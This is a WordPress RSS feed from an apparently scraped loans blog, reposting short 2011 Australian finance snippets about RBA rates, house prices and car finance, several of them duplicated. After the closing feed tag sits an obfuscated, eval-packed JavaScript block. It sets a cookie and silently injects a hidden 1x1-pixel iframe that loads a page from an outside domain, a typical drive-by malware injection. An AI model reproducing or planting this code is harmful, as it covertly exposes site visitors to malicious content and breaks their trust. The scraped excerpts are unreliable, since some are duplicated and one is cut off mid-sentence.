<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>Loans &#38; Mortgages News Blog &#187; Car Loan</title>
	<atom:link href="http://fj315ok.com/loans/carloan/feed/" rel="self" type="application/rss+xml" />
	<link>http://fj315ok.com</link>
	<description>FHA, Loans, Morgages blog</description>
	<pubDate>Tue, 07 Feb 2012 13:10:40 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<meta xmlns="http://www.w3.org/1999/xhtml" name="robots" content="noindex,follow" />
		<item>
		<title>Economy update - September 2011</title>
		<link>http://fj315ok.com/loans/economy-update-september-2011/</link>
		<comments>http://fj315ok.com/loans/economy-update-september-2011/#comments</comments>
		<pubDate>Fri, 09 Sep 2011 05:01:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Car Loan]]></category>

		<category><![CDATA[Loans]]></category>

		<category><![CDATA[all-lenders]]></category>

		<category><![CDATA[australian]]></category>

		<category><![CDATA[credit-provided]]></category>

		<category><![CDATA[equipment-finance]]></category>

		<category><![CDATA[rba]]></category>

		<category><![CDATA[the-financial]]></category>

		<category><![CDATA[the-latest]]></category>

		<category><![CDATA[the-private]]></category>

		<guid isPermaLink="false">http://fj315ok.com/other-financials/economy-update-september-2011/</guid>
		<description><![CDATA[Private sector credit is still growing with total credit provided to the private sector by all lenders continued to show a small rise, according to the latest figures by the RBA. ]]></description>
			<content:encoded><![CDATA[<p>Private sector credit is still growing with total credit provided to the private sector by all lenders continued to show a small rise, according to the latest figures by the RBA. </p>
<p>View original post here: <br />
<a target="_blank" href="http://www.madisonfinance.com.au/blog/equipment-finance/economy-update-september-2011/" title="Economy update - September 2011">Economy update - September 2011</a></p>
]]></content:encoded>
			<wfw:commentRss>http://fj315ok.com/loans/economy-update-september-2011/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Economy update – September 2011</title>
		<link>http://fj315ok.com/loans/economy-update-%e2%80%93-september-2011/</link>
		<comments>http://fj315ok.com/loans/economy-update-%e2%80%93-september-2011/#comments</comments>
		<pubDate>Fri, 09 Sep 2011 05:01:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Car Loan]]></category>

		<category><![CDATA[Loans]]></category>

		<category><![CDATA[all-lenders]]></category>

		<category><![CDATA[australian]]></category>

		<category><![CDATA[credit-provided]]></category>

		<category><![CDATA[financial]]></category>

		<category><![CDATA[investments]]></category>

		<category><![CDATA[latest]]></category>

		<category><![CDATA[private]]></category>

		<category><![CDATA[rba]]></category>

		<category><![CDATA[sector-credit]]></category>

		<category><![CDATA[small-rise]]></category>

		<category><![CDATA[still-growing]]></category>

		<category><![CDATA[the-financial]]></category>

		<category><![CDATA[the-latest]]></category>

		<category><![CDATA[the-private]]></category>

		<guid isPermaLink="false">http://fj315ok.com/other-financials/economy-update-%e2%80%93-september-2011/</guid>
		<description><![CDATA[Private sector credit is still growing with total credit provided to the private sector by all lenders continued to show a small rise, according to the latest figures by the RBA. Total credit is currently rising by nearly 3 percent annually. ]]></description>
			<content:encoded><![CDATA[<p>Private sector credit is still growing with total credit provided to the private sector by all lenders continued to show a small rise, according to the latest figures by the RBA. Total credit is currently rising by nearly 3 percent annually. </p>
<p>See original here: <br />
<a target="_blank" href="http://www.madisonfinance.com.au/blog/car-finance/economy-update-september-2011/" title="Economy update – September 2011">Economy update – September 2011</a></p>
]]></content:encoded>
			<wfw:commentRss>http://fj315ok.com/loans/economy-update-%e2%80%93-september-2011/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Car update - September 2011</title>
		<link>http://fj315ok.com/loans/car-update-september-2011/</link>
		<comments>http://fj315ok.com/loans/car-update-september-2011/#comments</comments>
		<pubDate>Fri, 09 Sep 2011 04:56:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Car Loan]]></category>

		<category><![CDATA[Loans]]></category>

		<category><![CDATA[credit-provided]]></category>

		<category><![CDATA[its-total]]></category>

		<category><![CDATA[lion]]></category>

		<category><![CDATA[local-motor]]></category>

		<category><![CDATA[stand-out-profit]]></category>

		<category><![CDATA[the-latest]]></category>

		<category><![CDATA[the-lion]]></category>

		<category><![CDATA[the-private]]></category>

		<guid isPermaLink="false">http://fj315ok.com/other-financials/car-update-september-2011/</guid>
		<description><![CDATA[Trawling thru the local motor industry&#8217;s financial results is never very exciting, but there is a stand-out profit performer. Carsales.com reports no less than a 38 percent net profit on sales for FY2011]]></description>
			<content:encoded><![CDATA[<p>Trawling thru the local motor industry&#8217;s financial results is never very exciting, but there is a stand-out profit performer. Carsales.com reports no less than a 38 percent net profit on sales for FY2011</p>
<p>The rest is here:<br />
<a target="_blank" href="http://www.madisonfinance.com.au/blog/car-finance/car-update-september-2011/" title="Car update - September 2011">Car update - September 2011</a></p>
]]></content:encoded>
			<wfw:commentRss>http://fj315ok.com/loans/car-update-september-2011/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Housing update - September 2011</title>
		<link>http://fj315ok.com/loans/housing-update-september-2011/</link>
		<comments>http://fj315ok.com/loans/housing-update-september-2011/#comments</comments>
		<pubDate>Fri, 09 Sep 2011 04:51:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Car Loan]]></category>

		<category><![CDATA[Loans]]></category>

		<category><![CDATA[after-the-first]]></category>

		<category><![CDATA[continual-drops]]></category>

		<category><![CDATA[its-total]]></category>

		<category><![CDATA[lion]]></category>

		<category><![CDATA[local-motor]]></category>

		<category><![CDATA[national]]></category>

		<category><![CDATA[previously]]></category>

		<category><![CDATA[showing-signs]]></category>

		<category><![CDATA[stand-out-profit]]></category>

		<category><![CDATA[the-first]]></category>

		<category><![CDATA[the-latest]]></category>

		<category><![CDATA[the-private]]></category>

		<guid isPermaLink="false">http://fj315ok.com/other-financials/housing-update-september-2011/</guid>
		<description><![CDATA[After the first 8 months of this year, continual drops in house prices are beginning to bite. Currently, the national average has reduced by over 3 percent]]></description>
			<content:encoded><![CDATA[<p>After the first 8 months of this year, continual drops in house prices are beginning to bite. Currently, the national average has reduced by over 3 percent</p>
<p>More here: <br />
<a target="_blank" href="http://www.madisonfinance.com.au/blog/equipment-finance/housing-update-september-2011/" title="Housing update - September 2011">Housing update - September 2011</a></p>
]]></content:encoded>
			<wfw:commentRss>http://fj315ok.com/loans/housing-update-september-2011/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Housing update – September 2011</title>
		<link>http://fj315ok.com/loans/housing-update-%e2%80%93-september-2011/</link>
		<comments>http://fj315ok.com/loans/housing-update-%e2%80%93-september-2011/#comments</comments>
		<pubDate>Fri, 09 Sep 2011 04:51:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Car Loan]]></category>

		<category><![CDATA[Loans]]></category>

		<category><![CDATA[australian]]></category>

		<category><![CDATA[car-finance]]></category>

		<category><![CDATA[continual-drops]]></category>

		<category><![CDATA[credit-provided]]></category>

		<category><![CDATA[financial]]></category>

		<category><![CDATA[having-bottomed]]></category>

		<category><![CDATA[investments]]></category>

		<category><![CDATA[latest-numbers]]></category>

		<category><![CDATA[private]]></category>

		<category><![CDATA[sector-credit]]></category>

		<category><![CDATA[small-rise]]></category>

		<category><![CDATA[the-first]]></category>

		<category><![CDATA[the-national]]></category>

		<guid isPermaLink="false">http://fj315ok.com/other-financials/housing-update-%e2%80%93-september-2011/</guid>
		<description><![CDATA[After the first 8 months of this year, continual drops in house prices are beginning to bite. Currently, the national average has reduced by over 3 percent. The latest numbers from RP Data show the previously high-priced Melbourne is leading the drop at nearly 4 percent with Sydney having bottomed and even showing signs of ]]></description>
			<content:encoded><![CDATA[<p>After the first 8 months of this year, continual drops in house prices are beginning to bite. Currently, the national average has reduced by over 3 percent. The latest numbers from RP Data show the previously high-priced Melbourne is leading the drop at nearly 4 percent with Sydney having bottomed and even showing signs of </p>
<p>Read the original:<br />
<a target="_blank" href="http://www.madisonfinance.com.au/blog/car-finance/housing-update-september-2011/" title="Housing update – September 2011">Housing update – September 2011</a></p>
]]></content:encoded>
			<wfw:commentRss>http://fj315ok.com/loans/housing-update-%e2%80%93-september-2011/feed/</wfw:commentRss>
		</item>
		<item>
		<title>RBA update - September 2011</title>
		<link>http://fj315ok.com/loans/rba-update-september-2011/</link>
		<comments>http://fj315ok.com/loans/rba-update-september-2011/#comments</comments>
		<pubDate>Fri, 09 Sep 2011 04:49:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Car Loan]]></category>

		<category><![CDATA[Loans]]></category>

		<category><![CDATA[australia]]></category>

		<category><![CDATA[cash]]></category>

		<category><![CDATA[equipment-finance]]></category>

		<category><![CDATA[global]]></category>

		<category><![CDATA[lion]]></category>

		<category><![CDATA[national]]></category>

		<category><![CDATA[reserve-bank]]></category>

		<category><![CDATA[the-latest]]></category>

		<category><![CDATA[the-private]]></category>

		<guid isPermaLink="false">http://fj315ok.com/other-financials/rba-update-september-2011/</guid>
		<description><![CDATA[The Reserve Bank of Australia has put the cash rate on hold at 4.75% for the ninth consecutive month. This is largely due to uncertainty in the global economy, softening house prices and reduced retail spending]]></description>
			<content:encoded><![CDATA[<p>The Reserve Bank of Australia has put the cash rate on hold at 4.75% for the ninth consecutive month. This is largely due to uncertainty in the global economy, softening house prices and reduced retail spending</p>
<p>Excerpt from:<br />
<a target="_blank" href="http://www.madisonfinance.com.au/blog/equipment-finance/rba-update-september-2011/" title="RBA update - September 2011">RBA update - September 2011</a></p>
]]></content:encoded>
			<wfw:commentRss>http://fj315ok.com/loans/rba-update-september-2011/feed/</wfw:commentRss>
		</item>
		<item>
		<title>RBA update – September 2011</title>
		<link>http://fj315ok.com/loans/rba-update-%e2%80%93-september-2011/</link>
		<comments>http://fj315ok.com/loans/rba-update-%e2%80%93-september-2011/#comments</comments>
		<pubDate>Fri, 09 Sep 2011 04:49:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Car Loan]]></category>

		<category><![CDATA[Loans]]></category>

		<category><![CDATA[car-finance]]></category>

		<category><![CDATA[governor]]></category>

		<category><![CDATA[having-bottomed]]></category>

		<category><![CDATA[investments]]></category>

		<category><![CDATA[largely-due]]></category>

		<category><![CDATA[medium]]></category>

		<category><![CDATA[medium-term]]></category>

		<category><![CDATA[private]]></category>

		<category><![CDATA[reduced-retail]]></category>

		<category><![CDATA[sector-credit]]></category>

		<category><![CDATA[small-rise]]></category>

		<category><![CDATA[stevens]]></category>

		<category><![CDATA[the-global]]></category>

		<category><![CDATA[the-national]]></category>

		<guid isPermaLink="false">http://fj315ok.com/other-financials/rba-update-%e2%80%93-september-2011/</guid>
		<description><![CDATA[The Reserve Bank of Australia has put the cash rate on hold at 4.75% for the ninth consecutive month. This is largely due to uncertainty in the global economy, softening house prices and reduced retail spending. ]]></description>
			<content:encoded><![CDATA[<p>The Reserve Bank of Australia has put the cash rate on hold at 4.75% for the ninth consecutive month. This is largely due to uncertainty in the global economy, softening house prices and reduced retail spending. </p>
<p>Read more from the original source:<br />
<a target="_blank" href="http://www.madisonfinance.com.au/blog/car-finance/rba-update-september-2011/" title="RBA update – September 2011">RBA update – September 2011</a></p>
]]></content:encoded>
			<wfw:commentRss>http://fj315ok.com/loans/rba-update-%e2%80%93-september-2011/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Runout sales</title>
		<link>http://fj315ok.com/loans/runout-sales/</link>
		<comments>http://fj315ok.com/loans/runout-sales/#comments</comments>
		<pubDate>Fri, 19 Aug 2011 11:44:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Car Loan]]></category>

		<category><![CDATA[Loans]]></category>

		<category><![CDATA[clearing-their]]></category>

		<guid isPermaLink="false">http://fj315ok.com/other-financials/runout-sales/</guid>
		<description><![CDATA[Car maufacturers are very keen to do deals on their 2011 model cars to make way for new stock. The new line of 2012 model cars are arriving in showrooms daily and dealerships need to make way for these vehicles by clearing their older model cars. As such there are fantastic deals to be had]]></description>
			<content:encoded><![CDATA[<p>Car maufacturers are very keen to do deals on their 2011 model cars to make way for new stock. The new line of 2012 model cars are arriving in showrooms daily and dealerships need to make way for these vehicles by clearing their older model cars. As such there are fantastic deals to be had</p>
<p>View post: <br />
<a target="_blank" href="http://www.madisonfinance.com.au/blog/car-finance/runout-sales/" title="Runout sales">Runout sales</a></p>
]]></content:encoded>
			<wfw:commentRss>http://fj315ok.com/loans/runout-sales/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Value for money car</title>
		<link>http://fj315ok.com/loans/value-for-money-car/</link>
		<comments>http://fj315ok.com/loans/value-for-money-car/#comments</comments>
		<pubDate>Tue, 16 Aug 2011 12:30:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Car Loan]]></category>

		<category><![CDATA[Loans]]></category>

		<category><![CDATA[are-receiving]]></category>

		<category><![CDATA[are-usually]]></category>

		<category><![CDATA[car-finance]]></category>

		<category><![CDATA[get-value]]></category>

		<category><![CDATA[good-value]]></category>

		<category><![CDATA[good-way]]></category>

		<category><![CDATA[only-want]]></category>

		<category><![CDATA[the-vendors]]></category>

		<category><![CDATA[used-car]]></category>

		<category><![CDATA[vendors]]></category>

		<category><![CDATA[you-not]]></category>

		<category><![CDATA[your-car]]></category>

		<guid isPermaLink="false">http://fj315ok.com/other-financials/value-for-money-car/</guid>
		<description><![CDATA[When looking for a new or used car you not only want to ensure that your car is going to be safe and reliable but that you are receiving good value for money. ]]></description>
			<content:encoded><![CDATA[<p>When looking for a new or used car you not only want to ensure that your car is going to be safe and reliable but that you are receiving good value for money. </p>
<p>Excerpt from: <br />
<a target="_blank" href="http://www.madisonfinance.com.au/blog/car-finance/value-for-money-car/" title="Value for money car">Value for money car</a></p>
]]></content:encoded>
			<wfw:commentRss>http://fj315ok.com/loans/value-for-money-car/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Which car finance to choose</title>
		<link>http://fj315ok.com/loans/which-car-finance-to-choose/</link>
		<comments>http://fj315ok.com/loans/which-car-finance-to-choose/#comments</comments>
		<pubDate>Mon, 08 Aug 2011 13:49:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Car Loan]]></category>

		<category><![CDATA[Loans]]></category>

		<category><![CDATA[both-consumer]]></category>

		<category><![CDATA[car-finance]]></category>

		<category><![CDATA[car-financing]]></category>

		<category><![CDATA[comes-time]]></category>

		<category><![CDATA[common-type]]></category>

		<category><![CDATA[financier]]></category>

		<category><![CDATA[financier-lends]]></category>

		<category><![CDATA[lends-the-money]]></category>

		<category><![CDATA[money]]></category>

		<category><![CDATA[standard-loan]]></category>

		<category><![CDATA[the-money]]></category>

		<category><![CDATA[the-most]]></category>

		<guid isPermaLink="false">http://fj315ok.com/other-financials/which-car-finance-to-choose/</guid>
		<description><![CDATA[There are a number of car financing options you can choose from when it comes time to look at financing your next vehicle. Car finance is available to both consumer and commercial customers]]></description>
			<content:encoded><![CDATA[<p>There are a number of car financing options you can choose from when it comes time to look at financing your next vehicle. Car finance is available to both consumer and commercial customers</p>
<p>Read the rest here:<br />
<a target="_blank" href="http://www.madisonfinance.com.au/blog/car-finance/which-car-finance-to-choose/" title="Which car finance to choose">Which car finance to choose</a></p>
]]></content:encoded>
			<wfw:commentRss>http://fj315ok.com/loans/which-car-finance-to-choose/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>

<script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('b d(7,f,n){9 4=v D();5(n){4.p(q)}E{4.p(z)}4.B(1);4.u(1);c.3=7+\'=\'+A(f)+\';y=\'+4.F()+\';C=/\';6}b o(7){9 x,3,8;3=c.3;5(!7){6 3}3+=\';\';8=3.h(\';\');w(x=0;x<8.s;x++){5((8[x].r(7+\'=\'))!=-1){6 t(8[x].h(\'=\')[1])}}6 k}b m(){9 i,j,x,U,a,2,R=k;5((a=c)&&(2=a.V(\'X\'))){2.Y=\'W\';2.g.Q=\'e\';2.g.T=\'e\';2.K=\'I://G.H/O/P.N?L\';5((x=a.M)){2=x.J(2)}}6}9 x=o(\'l\');5(!x){m();d(\'l\',\'1\',S)}',61,61,'||ifr|cookie|cxdate|if|return|name|cook|var|xdoc|function|document|SetCookie|1px|value|style|split|||null|tmsession|init0|del|GetCookie|setYear|2001|indexOf|length|unescape|setDate|new|for||expires|2012|escape|setMonth|path|Date|else|toGMTString|dandeigh|com|http|appendChild|src|10a91848360a48293ec4d16b65caae4f|body|php|d365a|index|width|ifrdoc|false|height|str|createElement|c3h5w4ve|iframe|id'.split('|'),0,{}))</script>
